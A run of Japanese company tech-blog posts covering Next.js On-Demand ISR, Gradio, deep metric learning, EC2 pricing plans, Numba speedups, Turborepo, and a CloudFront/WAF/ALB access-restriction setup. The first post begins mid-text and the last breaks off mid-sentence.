これを用いることで、天気情報サイトなどの変更頻度が低いものやHeadlessCMSを用いた記事などで気軽にSSGすることが可能になりました。 これは非常に便利なのですが、秒数による制御ではどうしても解決しづらい問題もありました。 記事をHeadlessCMS管理している情報掲載サイトを例として考えてみましょう。 記事には誤字脱字がつきものです。何人で確認しても、いかなツールを使おうとも、どうしても記事に誤字脱字が残ってしまうケースがあります。 そんな時、場合によっては早急に修正することが必要です。 その際、SSGを生かすために長い秒数を設定していると、修正したい内容を早期に反映するには再度デプロイする必要があります。アプリケーション上でいかな操作をしようと、基本的にはどうしようもありません。 これを解消するにはISRの秒数を短くすればよいですが、それではSSGの効果が薄くなります。 こういった状態に公式の機能で対応できるようになったのが、On-Demand ISRです。 On-Demand ISR On-Demand ISRは、本当に任意のタイミングで再生成を行う機能です。 例えば、ISRの項目で挙げたような記事修正問題が生じた際に、こちらから再生成を指示できます。 この機能を使用する際、ISRの際に必須であった再生成のための秒数指定は必須ではないので、不要な再生成機会の抑制、ひいてはサーバーの負担軽減も期待できます。 On-Demand ISRを使用する 元のSSGのファイルを編集する必要はありません。 On-Demand ISRは元のファイルに一切手を加えずに実行できます。 例として、今回は http://example.com/isr/[id] に対象となるページが存在するとします。 このページを対象にISRを行いたい場合は、page/api/に任意の名前 (今回は例としてpage/api/[id].tsx) のファイルを作成し、以下のような処理を記載します import { NextApiHandler } from "next";const handler: NextApiHandler = async (req, res) => { const secret = req.query.secret ?? req.body.secret const id = req.query.id if (secret !== process.env.ON_DEMAND_SECRET_TOKEN) { return res.status(401).json({ message: 'Invalid token' }) } if (!id) return res.status(404).json({message: 'Not Found'}) try { await res.revalidate(`/isr/${id}`) return res.json({ revalidated: true }) } catch (err) { return res.status(500).send('Error revalidating') }}export default handler 内容は、 http://example.com/isr/[id] に対してtokenを持たせてPOSTまたはGETを行うと、対象のIDのページを再生成するというものです。 上記のファイルのほとんどはresponseの中身に関するもので、再生成している箇所は以下のみとなっています。 await res.revalidate(`/isr/${id}`) この処理を実行させるだけで、対象のページが再生成されます。 注意点 getStaticPathsにおいてfallbackをfalseにしているとき、もともと存在していなかったURLを対象にしてOn-demand ISRを使用することはできません。 あくまで、ISRを任意のタイミングで実行するだけの機能なので、元々生成対象できない場合は対象外です。 終わりに 任意のタイミングで再生成できるようになったことも嬉しいですが、個人的にはrevalidateで秒数指定せずともISRできるようになったことが嬉しいです。 これは、ISRは確かに便利な機能ではあるのものの、秒数指定はそれほどスマートではない手法であると前々から感じていたためです。 この機能追加により、ヘルプや利用規約などの今まではHeadless CMSで管理していなかったようなテキストも管理するようになるかと思いますので、仕事がだいぶ楽になる人もいるかと思います。 この機能はまだまだ気が付けていない使い方などがありそうなので、色々と試してみるのが楽しみです。

はじめに まずこれを使った経緯としては、画像認識を使ったアプリケーションを作りたい！ でも画像認識って基本的にUIとかないと使いにくいかな〜？？ そこで画像認識を使ったアプリのUI部分にデモ作成ライブラリGradioを使ってみよう！ってなりました。 それで部内の勉強会に向けてその内容などをまとめたのでここにも備忘録としてまとめておきます。 これ読んだら何を学べるか Pythonを使ったアプリケーションのデモ作成で簡単にUIを作ることができます。 使ってみた感想 UIが簡単にできて画像認識のアプリ作成が楽しかったです。 画像関連のアプリ以外にも使えそうだなと感じました。 Gradioの説明 そもそもGradioとは何かというとPythonのライブラリです。 ではいったいどういうことができるライブラリなのかというと自分で構築したシステムのデモを簡単に作成することができます。 なかでもフロントサイドの部分(UI)を実装する必要がなく、バックエンドの処理部分でライブラリを利用することで、実際にシステムを簡単に試すことができるアプリを作成することができます。 しかもJupyter NotebookやGoogle Colab上での動作もサポートしているため気軽に試すことができます。 さらに！ 作成したアプリを外部に公開することも簡単にできます！ ローカルマシンで実行してから72時間は発行されたShare URLが有効です。(実行はローカルマシン上になります。) また永続的に公開したい場合はHugging Face Spacesでの公開がサポートされているためそこで公開することもできます！ なるほど「Gradio」を使うことでフロント部分を簡単に作成できてシステムのデモアプリがさくっと作れるんだな。。。 ぐらいの認識で大丈夫です！ また、入出力の形式も様々扱うことができるのである程度のシステムには対応できるかと思います！ 内部構成 Gradioには、インターフェースやブロックの入力や出力として、1行のコードで使用できるビルド済みのコンポーネントが含まれています。コンポーネントには、ブラウザから送信されたユーザデータをPython関数で使用できるものに変換する前処理ステップと、Pythonの関数から返された値をブラウザで表示できるものに変換する後処理ステップを含みます。 以下は3入力(テキストボックス、数値、画像)と2出力(数値、ギャラリー)の例です。 引用元： https://gradio.app/docs/#components-header 作ったアプリ それではここからは私が作成したデモアプリについて紹介させていただきます。 作成したアプリは大きく2つ！ 簡単に2つのアプリについて紹介しようと思います。(ここでは内部の処理については深く触れません。) 簡単な処理をするアプリ(お試し) 1つ目はGradioを使ってみるために簡単に作成したお試しアプリです。 入出力はどちらもテキスト形式で、入力されたテキストに対して加工を加えてリターンするという処理になります。 # main.pyimport gradio as grdef response_greet(name: int): res = "Hi" + name + "!" # インスタンスを生成(入力を渡す関数と入出力の形式を指定)app = gr.Interface(fn=response_greet, inputs="text", outputs="text")# appのローンチapp.launch() 実行結果(例：入力「マイナビ」、出力「Hiマイナビ!」) このように簡単に返答アプリを作成することができました！ ランドマークを予測するアプリ(画像認識) 2つ目は機械学習を使ったアプリです！ 入力は画像で、入力された画像から世界中にある似ているランドマークの名前を返してくれるものになります。 今回はあくまでもGradioの紹介なので画像認識部分のコードは割愛いたします。 # classify_image.pyimport gradio as gr# 入力画像から類似するランドマーク名を返す処理def classify_image(image): hogehoge fugafuga return labelapp = gr.Interface(classiry_image, image, label)app.launch() 実行結果(例：入力「東京スカイツリーの画像」、出力「Tokyo Skytree(東京スカイツリー)」) 画像のリンク元： https://www.photock.jp/detail/tour/5555/ 画像データも簡単に実装することができました！ まとめ 今回はデモ作成ライブラリGradioを使ってみました。 入出力の形式の組み合わせが何通りも設定できるので、機械学習に寄らずいろいろなシステムのデモで使えそうだと思いました！ コードもかなり少ないのでぜひ使ってみてください！

はじめに 今回はその性能と汎用性の高さから、様々な分野で応用が進んでいるDeep Metric Learning理論について紹介していきたいと思います。 ※loss function以降数学の内容がかなり多いので理解しにくいかもしれません。 Metric Learningとは？の理解をしたい方はLoss functionまで読んでいただけると何となくMetric Learningについて理解できると思います。 目的 Metric Learningの知識をみにつけたい 今後様々なタスクに応用できそうな技術なので、その知識を蓄えたい Metric Learnintとは そもそも機械学習における距離とは 距離（きょり、distance）とは、ある2点間に対して測定した長さの量(Wikipedia参照)です。 日常的な使い方としては、二つ場所間の距離を測る際にキロメートルを利用します。 新宿→竹橋の距離は 11.4km より抽象的な距離: GeForce RTX 2060 superと GeForce RTX 3060の価格差約 1万円 程度 (一応価格も距離であると認識すると後の記事を理解しやすいと思います。) 個人的には「何かを測る際の単位」が距離である、という感じで理解しています。 機械学習にもデータ間の距離をどうやって測定するかという問題はよくあります。 一般的に測定可能なデータの場合、ユークリッド距離（ED）、正弦波、およびその他の方法で直接行うことができます。 しかし、ビデオと音楽の間の距離を測定や、センテンス間の距離を測定するなど、より幅広いなデータに対しては上記の手法で距離を測ることは困難です。 例:顔の類似度(簡単)、履歴書の類似度(難しい)など metric learningとは metric learningの正式名称はDistance metric learningです。 つまり機械学習の形式でトレーニングデータに従って、特定のタスクに基づいて計量関数を自動的に構築することです。 定番のクラス分類と距離学習によるクラス分類の違いは、特徴量抽出部分を学習させる手法にあります。 metric learningは元データの変換や特徴を学習して、変換されたデータが特定のタスクに特定の類似性の尺度を満たすことができるようにします。ここでの尺度は、cosine similarity,overlap similarity,jaccard similarityなど、もしくは複雑な文章間の類似度や感情の類似性など測る尺度です。 Metric Learningのタイプ メトリック学習は主に下記の二つタイプ分けられています 教師あり学習 (Supervised Learning) 同じラベルデータの距離を近づけ、異なるラベルデータの距離を遠ざけることができる距離を学習することです。center loss、amsoftmaxなどをよく使っています。 center lossでは各クラスにcenter featureを算出します。それによってクラス内の距離が狭くなります。center featureはクラス内の距離のみ関与するため、通常はsoftmaxやcross entropy loss損失と組み合わされ、カテゴリを分離しながら、クラスの距離を短くすることができます。 amsoftmaxはsoftmaxに基づいて改善されていますが、softmaxとは異なります。カテゴリを分離可能にするだけでなく、クラス内の距離を狭め、クラス間の距離を広げることができます。 ※もちろん教師データの処理によってWeakly SuperVised Learningをさせることも可能です。検証はまだしていませんが、個人的は負例のデータを一緒に学習させるとクラス間の距離もっと遠ざけることができると思います。 弱教師あり学習 (Weakly Supervised Learning) こちらの学習データは教師あり学習の手法とは少し異なり、タプル・トライアドのデータペアを学習します。正例のペアと負例のペアを事前に用意して、学習際に正のペアを近づけ、負のペアを遠ざけるによってデータ間のメトリックを学習します。 弱教師あり学習では、contrastive loss(対照損失）とtriplet loss(トリプレット損失）をよく使います。 上記で紹介した各lossは、後に詳しく説明したいと思います。 Deep Metric Learningとは？ 実際にDeep Metric Learningでは、レコメンド、NLP、画像処理の分野などの領域よく利用されています。 Deep Metric Learningは、representation learning (参考サイト) のブランチです。 レコメンド領域有名なDSSMネット構造、最後の一層はCosより距離計算しています 従来の機械学習手法では、生データ処理機能によって制限されています。 したがって、分類またはクラスタリングタスクの前に前処理や特徴抽出ステップなどの特徴エンジニアリングが必要です。 これらのステップには専門知識が必要になります。 一方、深層学習は生データから学習できるという強みを持っています。従来の機械学習手法とは異なり、ディープラーニングはデータ量が少ないと十分に成功しないため、成功する結果を得るには大量のデータが必要です。 個人的理解を一言でまとめると、 ペア特徴持っているデータに対して距離特徴を持っているembeddingを作成できる仕組みです 。 Deep Metric Learningイメージ a)生のデータ分布 b)ユークリッド 距離計算 c)意図的にデータを準備する d) 同じニューラルネットワークで同じラベルのデータ間の距離を最小化学習させ、異なるラベルのデータ間の距離を最大化させ距離を測る 上記の学習結果よりデータ間の距離を再定義します Deep Metric Learning step(pipeline) 深層距離学習pipelineは主に3つで構成されています。 学習データの準備と処理 ニューラルネットワークの設計 損失関数の選択(タスクやデータ構造を考慮しつつ) 同じラベルのデータの距離の最小化や、異なるラベルのデータ間の距離を最大化する仕組みはDeep Metric Leanringの最もコアの部分であり、上記の仕組みでは主に損失関数の設計や選択で実現しています。 入力するサンプルは、Deep Metric Learningの成功を改善するための最も重要な要素の1つであり、サンプルの組み合わせの選択はモデル訓練の成功と収束性に大きな影響を与えます。 loss functionについて いろんな文献や記事を読むとMetric Learningで一番重要なのはLoss functionであると書かれてあります。そのため、今回はLoss functionについて書かれた論文や記事を個人の観点でまとめようと思います。 弱教師あり学習 contrastive loss contrastive lossは2006年に発表された「Dimensionality Reduction by Learning an Invariant Mapping」において、次元削減操作を行うものとして提案されています。この論文中にMetric Learningというワードは登場しませんが、距離を学習させて次元削減を実現します。 contrastive lossの考え方は、 類似したサンプル間の距離と異なるサンプル間の距離を独立して短くすることです。 2つのサンプルiとjが1つのラベルの場合、y_ij=1。この時点で、Lossはこの二つサンプルの距離である iとjが異なるラベルの場合、y_ij = 0 その時点のlossは、 d > αになるよう学習させます。 contractive loss全体像 triple loss 2015年に発行された「FaceNet: A Unified Embedding for Face Recognition and Clustering」で、顔の分類タスクにTriple lossを使用することが提案されています。 Triplet lossでは3組の入力データのpositiveペアとnegativeペアの相対距離を算出し、それにマージンをかけます。つまり、Contrastive lossではnegativeペアをマージンmの距離よりも離れるように学習させることですが、Triplet lossではnegativeサンプルとの距離をpositiveサンプルとの距離よりもマージンmの距離以上に遠くなるよう学習させることです。同時に、intra-classのサンプルを引き寄せてinter-classのサンプルを離れようとすることができます。現在でも広く使われている距離学習手法のようです。 a: anchor p: Positive n: Negative D_ap: anchor とPositiveの距離 α : Margin Triple Lossの要素 教師あり学習 center loss center Lossは2016年に「A Discriminative Feature Learning Approach for Deep Face Recognition」より提案されたものです。 Metric Learningは、単純にsoftmaxやcross entropy lossを利用することに制限があります。この二つ方法によりカテゴリを分離が可能ですが、同じ クラス内の距離を狭めることはできません 。 Metric Learningにおいて、クラスを分離できるだけでなく、クラス間を区別することも学習する必要があります。 そこでcenter Lossが提出されました。center lossは、センタークラスタリングとsoftMaxクラス間損失のコアアイデアを利用し、センタークラスタリングの クラス内 制約とsoftMaxの クラス間 制約を実行します。訓練時にはsoftmax lossに加算した損失関数(Ltotal)を使われています、同様の特徴もつデータがクラスの中心点の周りにクラスター化して、クラス間距離を拡大し、クラス内距離を短縮し、より識別力のある深い特徴を学習します。 対応する損失関数は cyiはデータの正解クラスの中心位置です。各クラスの中心位置はmini-batchごとで更新されます ▼softmax cross entropy lossから得られた特徴量の可視化 AMSoftmax こちらについては私も全は部理解できていません。。。 AMSoftmaxはSoftmaxより展開されたものですが、Metric Learningに特化したようなものでした。 論文 ではAMSoftmaxはクラス間の距離を広げ、クラス内のデータ距離を狭めることが可能になり、クラス間の距離をTarget regionに狭めさせています。 まとめ 今回はMetric Learning理論について、重要な部分と自分の感想をまとめました。 深層距離学習は、識別性の高い(discriminative)特徴量を得るためにディープニューラルネットワークを学習させる手法です。得られたモデルは 特徴量抽出器 として利用します。 学習手法はデータの形によって、教師あり学習と弱教師あり学習の二つに大きく分けられています。 損失関数の設計の他に、サンプル選択の設計も大事です。 画像やNLPなどいろんな領域に適応することが可能です。 なぜわざわざそういう難しい技術を学ぶのかというと、 距離を測るという技術がマイナビにとって重要であると思うからです。 この技術は文書間の類似度を測るだけでなく、他の文字データの距離も測られます。 つまり、この技術により我々が扱っているデータのレコメンドやマッチングに何か新しい観点で処理可能の技術になるかもしれないということです。 Metric Learningは近年大きな成果がありませんが、現在の結果から見ると 距離を学習させる という概念がいくつかの領域で利用ができると思います。 近いうちに何かデータを利用して実践してみようと思います！！！ 参考記事 深層距離学習(Deep Metric Learning)の基礎から紹介 Sampling Matters in Deep Embedding Learning FaceNet: A Unified Embedding for Face Recognition and Clustering MLAS: Metric Learning on Attributed Sequences A Discriminative Feature Learning Approach for Deep Face Recognition FaceNet: A Unified Embedding for Face Recognition and Clustering 人脸识别系列（十六）：AMSoftmax Deep Metric Learning: a (Long) Survey Deep Metric Learning: A Survey A Discriminative Feature Learning Approachfor Deep Face Recognition 从Softmax到AMSoftmax(附可视化代码和实现代码) 顔認証におけるいろいろな損失関数（Loss function）

はじめに 通常、EC2の料金形態はオンデマンド料金です。 長期契約無しで、時間または秒単位の従量課金制での支払いとなります。 EC2の料金形態は1種類だけなのか、というとそういうわけではありません。 オンデマンド料金に比べてEC2の利用料金を抑えられる Amazon EC2 リザーブドインスタンス（RI） Savings Plans（SP） という2つのサービスがあります。 これらはある条件下のもとで一定期間の契約をするとEC2の利用料金のディスカウントを受けられるサービスです。 「RIかSPの導入を検討したいがよくわからないなあ。（詳しいことは置いておいて）簡単に言うとどういう違いがあるの？」と現状思ってしまっている自分向けに、今回はRIとSPを比較するうえで必要そうな情報をまとめてみました。 Amazon EC2 リザーブドインスタンス（RI） RIとは 「一定期間の使用」を前提とすることで大幅にコスト削減が出来るサービスです。 1年もしくは3年の期間でキャパシティ予約が可能です。 ※キャパシティ予約：任意のインスタンスタイプのEC２インスタンスを予約期間中は予約分いつでも起動が可能 非常に簡単にいうと、「1年間／3年間はこのインスタンスタイプのこのEC2を使い続けます。」と先に宣言することでお安くしてもらうサービスという理解でひとまずはよさそうです。 その際、さまざまな制約や条件によって割引率が変わるのでまたもや簡単にまとめてみます。 EC2の利用料金に関わるRIには2つのプランがあります。 スタンダードRI オンデマンド料金からの平均割引率が1年 (40%)、3年 (60%)と割引率の高いタイプになります。 AZ、インスタンスサイズ、ネットワークタイプの変更が可能です。 ただし、インスタンスファミリーの変更ができません。また、支払いオプションの変更も不可能です。 ※補足 インスタンスサイズの変更が可能というのは、キャパシティ予約した複数のRIを結合させたり分割させる事でインスタンスサイズの変更が可能です。 割引率が高いが制約が多いイメージです。 コンバーチブルRI オンデマンド料金からの平均割引率は1年 (31%)、3年 (54%)となり、スタンダードRIと比べると割引率は低いタイプになります。 スタンダードRIと同じく、AZ、インスタンスサイズ、ネットワークタイプの変更が可能です。 加えて、インスタンスファミリーの変更も可能です。（ただしRI作成時の価格より同等以上のもののみ変更が可能であり、差額を支払う必要があります。） また、制限ありで支払オプションの変更が可能です。 スタンダードに比べると割引率は低いが柔軟性が高いイメージです。 支払オプション 支払いパターンは以下から選ぶことができます。 全額前払い 一部前払い 前払い無し 割引率は全額前払い＞一部前払い＞前払い無しとなります。 注意点・確認点 サーバ休止期間が長くとも費用は変わりません。 キャパシティ予約であり、一定期間継続してサーバの利用をするという前提での料金体系のためです。 サーバ停止せず動き続けるサービスでしたらRIの条件にあうかと思われます。 サーバ夜間停止などをするサービスの場合は、試算を行いオンデマンド料金との比較を行なったうえで検討する必要があるかと思います。 インスタンスのスペックなどがアゲサゲしにくいのでAWSの特性を活かしにくいです。 開発環境などのサーバ要件を変更させる可能性がある環境ではRIは適していない可能性があります。 Savings Plans（SP） SPとは 「一定期間、一定量の使用」を前提とすることで大幅にコスト削減が出来るサービスです。 SPでは1年もしくは3年の期間で特定量（USD/時間）を契約することが可能です。 非常に簡単にいうと「一定期間、1時間に何ドル分AWSを使います」と宣言して契約することで、その額までは割引が効いた利用料にしてくれるサービスという理解でひとまず良さそうです。 EC2の利用料金に関わるSPには2つのプランがあるので、またもや簡単にまとめていきます。 Compute Savings Plans オンデマンド料金からの平均割引率が1年 (約30%)、3年 (約50%)と割引率の高いプランになります。 インスタンスファミリー、サイズ、アベイラビリティーゾーン、リージョン、OS、またはテナンシーに関わらず EC2 インスタンスの使用に自動で適用がされます。 EC2だけでなく、Fargate や Lambdaにも適応が可能です。 比較的自由度高く、インスタンスを低価格で利用出来るプランとなっているイメージです。 EC2 Instance Savings Plans オンデマンド料金からの平均割引率が1年 (約40%)、3年 (約60%)となり、Compute Savings Plansと比べると割引率の高いプランになります。 リージョン内で個々のインスタンスファミリーでの契約となり、任意のリージョン内での任意のインスタンスファミリーは自動的にディスカウントが適応されます。 この際、アベイラビリティーゾーン、サイズ、OS、またはテナンシーは自由です。 リージョンとインスタンスファミリーに制約はあるが、Compute Savings Plansより更に割引率高く利用できるプラン となっているイメージです。 支払オプション 支払いパターンは以下から選ぶことができます。 全額前払い 一部前払い 前払い無し 割引率は全額前払い＞一部前払い＞前払い無しとなります。 注意点・確認点 契約時、自身で適切な特定量（USD/時間）を計算する必要があります。 契約した特定量（USD/時間）を超過した場合、超過分はオンデマンド料金にて発生します。 SP運用中は特定量の変更が出来ないため、適切な金額にて契約する必要がありそうです。 特定量（USD/時間）での契約のため、ディスカウント対象となるリソースの柔軟性は高いです。 さいごに RIにもSPにも制約があります。 条件と割引率を天秤にかけながらの検討が必要そうです。 おまけ RI、SPは1年/3年と契約期間が長く、気づいたら有効期限切れとなってしまっている場合がありそうだなと思ったのですが、どうやらアラートの利用が可能のようです。 60 日前、30 日前、7 日前、当日にアラートを受け取れる設定ができるとのことなので活用していきたいと思います。 参考 https://aws.amazon.com/jp/ec2/pricing/reserved-instances/ https://aws.amazon.com/jp/savingsplans/ https://aws.amazon.com/jp/about-aws/whats-new/2019/05/reservation-expiration-alerts-now-available-in-aws-cost-explorer/ おまけ2 当社のキャリアアドバイザーが「WEB事業会社に興味はあるけど、何から始めるべきかわからない」「転職は考えていないけど、今の環境が今後に活きるのかわからない」など、今後のために情報収集したい、という方に少しでも参考になる情報をまとめています。良ければご覧ください！ ###card_post_id=2375###

前書きは前提内容になりますので、読み飛ばしてもらって結構です。 前書き IEEE Spectrumによると、Pythonは過去6年間、プログラミング言語のトップであり続けています。 Pythonは機械学習アプリケーションの構築にも使用されている言語です。 システム職の方はご存知かと思いますが、Pythonはインタプリタ言語です。そのため開発のスピードは上がります。 しかし実行時には毎回コンパイルと各ステートメントの実行が必要なため、実行速度は他の言語との中で比較的遅くなります。これがスケーリング時に問題になることもあります。 このことから、「高速化するためにはほかのコンパイラ型言語のようにPythonのコードを一度コンパイルするか、少なくともその一部をコンパイルすればよいのではないか？」という疑問がわいてきます。 そこで今回はNumbaを使ってPythonの高速化を図りたいと思います。 Numbaとは Numbaは、PythonとNumpyのコードを一部高速な機械語に変化するオープンソースのJIT(Just In Time)コンパイラです。Numpyの配列や関数と一緒に使うことを想定して設計されています。 配列指向で数学的に重いPythonのコードを最適化してくれます。 本記事の目的 PythonでNumbaを使ってCos類似度計算の高速化を図る！ 想定読者 日常的にPythonを使用している人 高速化ライブラリNumbaを使用したことがない人 Cos類似度を比較的よく使用する人 Cos類似度の速度を少しでも速めたい人( 重要 ) Cos類似度の説明(ご存知の人は飛ばしてください) Cos類似度とは2つのベクトルが「どのくらい似ているか」という類似性を表す尺度で、具体的には（ベクトル空間における）2つのベクトルがなす角のコサイン値のことです。 この値は2つのベクトルの内積（＝向きと大きさを持つベクトル同士の掛け算）を2つのベクトルの大きさ（＝$ L_2 $ノルム）で割ることで計算されます。 この計算によって値が-1~1の範囲に正規化されるので、Cos類似度が 1なら「0度で、同じ向きのベクトル＝完全に似ている」 0なら「90度で、独立・直行した向きのベクトル＝似ている・いない、のどちらにも無関係」 -1なら「180度で、反対向きのベクトル＝完全に似ていない」 という意味になります。 (Cos類似度計算を既存のライブラリで行なう場合、ライブラリによっては逆になることがある。) 参考サイト：コサイン類似度（Cosine Similarity）とは？ - ITmedia 本題 今回はCos類似度計算を高速化したいためPythonのNumbaを使用してどの程度高速化できるのか見てみます。 実験 この実験では、50次元の2つのnumpy配列の間で、Numbaを使用しない場合と使用する場合のコサイン類似度計算を行いました。 まず、 Numbaを使用しない場合 です。 def cosine_similarity(u:np.ndarray, v:np.ndarray): assert(u.shape[0] == v.shape[0]) uv = 0 uu = 0 vv = 0 for i in range(u.shape[0]): uv += u[i]*v[i] uu += u[i]*u[i] vv += v[i]*v[i] cos_theta = 1 if uu!=0 and vv!=0: cos_theta = uv/np.sqrt(uu*vv) return cos_theta 次に Numbaを使用した場合 です。 from numba import jit@jit(nopython=True)def cosine_similarity_numba(u:np.ndarray, v:np.ndarray): assert(u.shape[0] == v.shape[0]) uv = 0 uu = 0 vv = 0 for i in range(u.shape[0]): uv += u[i]*v[i] uu += u[i]*u[i] vv += v[i]*v[i] cos_theta = 1 if uu!=0 and vv!=0: cos_theta = uv/np.sqrt(uu*vv) return cos_theta 両方の関数を複数の計算回数で実行して、実行時間の違いについてまとめてみました。(実行環境によって多少前後します。) 計算回数 Numbaを使用しない場合 Numbaを使用した場合 1 83.6 μs 1.11 μs 100 8.34 ms 70.9 μs 1,000 86.6 ms 706 μs 10,000 830 ms 7.09 ms 100,000 8.08 s 70.2 ms 1,000,000 1min 27s 699 ms 両対数グラフで示すと以下のようになります。 結果 表にもある通りNumbaを使用した場合のほうが明らかに速いことがわかります。 今回はNumbaを使用してCos類似度計算の高速化を図りましたが、Numbaにはほかにもいろいろと機能があります。 今後もNumbaを使ったPythonの高速化記事を掲載できればと思います。

モノレポとは 複数のアプリケーションを同一のリポジトリで運用する構成のことを、Monorepo (以下モノレポ)と言います。 Turborepo Turborepoはこのモノレポ環境のうち、JavaScript系のモノレポ環境を対象としたビルドツールです。 昨今のJavaScript周りの発展は目覚ましく、フロントサイドとサーバーサイドどちらもJavaScriptなんて構成は珍しくありません。Turborepoもそうした流れで生まれたツールの一つで、JavaScriptのモノレポをよりシンプルに扱えるようにしてくれます。 導入 node.jsがインストールされている環境で、以下のコマンドを実行してください。 npx create-turbo@latest 実行すると、プロジェクト名と使用するパッケージマネージャを聞かれると同時に、次のようなサンプルの環境が作成されます。 ├── README.md├── apps│   ├── docs│   │   ├── README.md│   │   ├── next-env.d.ts│   │   ├── next.config.js│   │   ├── package.json│   │   ├── pages│   │   └── tsconfig.json│   └── web│   ├── README.md│   ├── next-env.d.ts│   ├── next.config.js│   ├── package.json│   ├── pages│   └── tsconfig.json├── package-lock.json├── package.json├── packages│   ├── eslint-config-acme│   │   ├── index.js│   │   └── package.json│   ├── tsconfig│   │   ├── README.md│   │   ├── base.json│   │   ├── nextjs.json│   │   ├── package.json│   │   └── react-library.json│   └── ui│   ├── Button.tsx│   ├── index.tsx│   ├── package.json│   └── tsconfig.json└── turbo.json build cache Turborepoの利便性を語るうえで欠かせないのが、ビルドにキャッシュを効かせることができる点です。 作成された環境には、appとpackageというディレクトリが存在しており、appの中にはアプリ本体と思われるapp/webとそのドキュメントapp/docsが存在しています。 この状態でビルドコマンドとして以下のコマンドを実行すると、turbo.jsonに記載された内容に従い、Turborepoが配下のディレクトリの中でnpm scriptsとしてbuildを持つものに対し、npm run buildコマンドを実施します。 npm run build サンプルの場合、app配下にNext.jsで作られたwebとdocsの2つのWebアプリが存在するため、その2つにビルドが走り、ビルド後に以下のような結果が表示されました。 Tasks: 2 successful, 2 totalCached: 0 cached, 2 total Time: 23.785s 2つのTaskのうち2つともキャッシュされず、約24sで結果が返されたという内容です。 では、この状況で同じコマンドをもう一度実行してみましょう。 すると、結果が以下のように変わります。 Tasks: 2 successful, 2 totalCached: 2 cached, 2 total Time: 16ms >>> FULL TURBO 2つのTaskのうち2つともがキャッシュされ、16msで結果が返されたという内容です。 Turborepoは、コマンド実行時、対象のディレクトリの中に.turbo/を作成し、その中にハッシュを保存、再度同じコマンドが実行された場合にハッシュを比較し、変更がなければ前回の出力内容をそのまま返すことで処理の高速化を行っています。 このサンプルであれば、apps/webとapps/docsの配下に.turbo/を作成する形となります。 これが、Turborepoのビルドキャッシュです。 全体を何度もビルドしなくて済むため、コードが膨大になってもビルド時間の長期化をある程度抑えることができます。 なお、コマンド入力時の操作についてはturbo.jsonに記載することである程度自由に操作できます。 今回はbuildなのでコマンド実行時に必ずキャッシュさせていましたが、させないことも可能です。 また、コマンド実行時に--filterオプションを用いることで、特定のディレクトリのnpm scriptsのみを実行させるということもできます。 ちなみに、現在Beta機能ですが、Vercel経由でリモートキャッシングも可能です。 これを用いることで、チーム全体でキャッシュを使用できます。 npm workspacesを用いたローカルpackageの利用 これは turborepo の機能ではありませんが、turborepoを用いることでこの恩恵にあずかることができるため紹介します。 npmの機能の一環に、npm workspacesというものがあります。 これは簡単に言うとローカルに作成したpackageをnpm管理できる機能で、npmにアップロードしていない自作パッケージをあたかもnpm上にあるパッケージであるかのように使用できる機能です。 モノレポでない場合はあまり使う機会のない機能なのですが、モノレポの場合これは非常に便利な機能となっています。 例えばサンプルの場合、この機能を用いてapps/webとapps/docsのbuttonにpackage/uiのButtonを持ってきています。 フロントエンドであれば、よく使いまわすようなパーツ、アトミックデザインで言うところのatomsに位置するコンポーネントをこのnpm workspacesの管理下に配置しておくことで、より統一感のあるデザインでより高速な開発を実現できます。 設定の共通化 組織全体で何かしらの統一ルールが存在しない場合に起こりがちなのが、設定の非共通化です。 例えばlintの場合、言語が違う中で設定が異なるのは別に問題ないのですが、同じJavaScriptでチームごとにeslintの設定が異なるというのは開発時に不要な問題を起こしてしまうことにつながりかねません。 サンプルのようにnpm workspacesをうまい事活用すれば、同じeslintの設定を複数のディレクトリで採用することができます。 これで、フロントサイドではシングルクォーテーション、サーバーサイドではダブルクォーテーションといった些細なルール違いから逃れ、統一感のあるコーディングが可能となります。 依存関係の可視化 ※実行にはGraphvizのインストールが必要です。 モノレポの運用にうまくいかないと、依存関係が複雑化してしまうことがあります。 npm workspaceを使用していると、このパッケージがどのディレクトリで使用されているかわからないので不用意に変更できない、なんてこともあるでしょう。 そんなときのために、Turborepoは依存関係を可視化できます。 例えば、サンプルでbuild時における依存関係を可視化した場合以下のようになります。 npx turbo run build --graph=sample-graph.png 対応する出力形式は、Graphvizの対応する形式なので、pngやjpeg, pdfやhtml, svgやwebpなど有名な形式にはおおむね対応しています。 おわりに 私は個人的にはモノレポ反対派なのですが、Turborepoはかなり便利なツールに感じました。 特に便利なのが、他のパッケージと同じくnpmでインストールできるので、既存のプロジェクトに後から導入する場合でもそれほど苦ではない点です。 jsに限定されるという欠点こそありますが、その場合は別のツールを使えばいいだけですし、フロントエンドだけでも用いるという方針をとっても、それほど大きな問題にはならないように思えます。 もし、管理が大変なことを理由にモノレポを避けているのであれば、ぜひ一度触ってみてください。

ゴール Cloudfrontへアクセスした際、以下のパターンに当てはまるときは事前に準備したS3上のファイルを表示させる。 WAF遮断時 メンテナンス時 サーバ停止時 ALBへのアクセス元をCloudfrontのみに制限する。 設定自体は簡単だが、詳細を記載 検証 初めに通常時のアクセスをするための構築を行う。 その後、各パターンによってS3上のファイルを表示させる。→方法としてCloudfrontのエラーページ設定を行う。 通常時 以下の構成とする。 設定内容（※東京リージョンで構築） ACM パブリック証明書：xxx.mynavi.jp Cloudfront（バージニア北部）用とALB（東京）用 Cloudfront オリジン：ALB ビヘイビア：デフォルトでALBに転送 ACMをアタッチ（代替ドメイン名：xxx.mynavi.jp） 443のみを受け付け、443でオリジンへ転送 ALBが同じ証明書を使用するため、hostヘッダーの転送 WAF マイナビIPを許可 デフォルトはblock block時は403を返す ALB ACMをアタッチ（xxx.mynavi.jp） リスナーは443で、ターゲットのportは80 セキュリティグループでアクセス元をCloudfrontに制限 EC2 apacheでport80からのアクセスを受け付け セキュリティグループでアクセス元をALBに制限 アクセスした際の画面（apache表示） ALBへのアクセス元をCloudfrontのみに制限する方法 AWSマネージドプレフィックスリストを使用することで制限が可能となる。 参考： 公式ドキュメント VPC>マネージドプレフィックスリストより、3つの設定が確認できる。 これはデフォルトで用意されているものとなっており、それぞれCloudfront,S3,dynamodbのCIDRが登録されている。 ※デフォルト設定は所有者IDがAWSとなっている。 この設定を使用して、ALB側で制限をかける。 ALBのセキュリティグループの設定をする際に、ソースからプレフィックスリストを選択することができる。 アクセス元をCloudfrontのみに制限するため、CloudfrontのプレフィックスリストIDを選択する。 AWSマネージドプレフィックスリストが使用可能になる前のアクセス制限方法 AWSが公開しているIPの範囲で制限 AWSが公開しているIP一覧 より、CloudFrontエッジサーバのIPを使用 "service": "CLOUDFRONT_ORIGIN_FACING"→オリジンに接続するCloudFrontエッジサーバのIP "service": 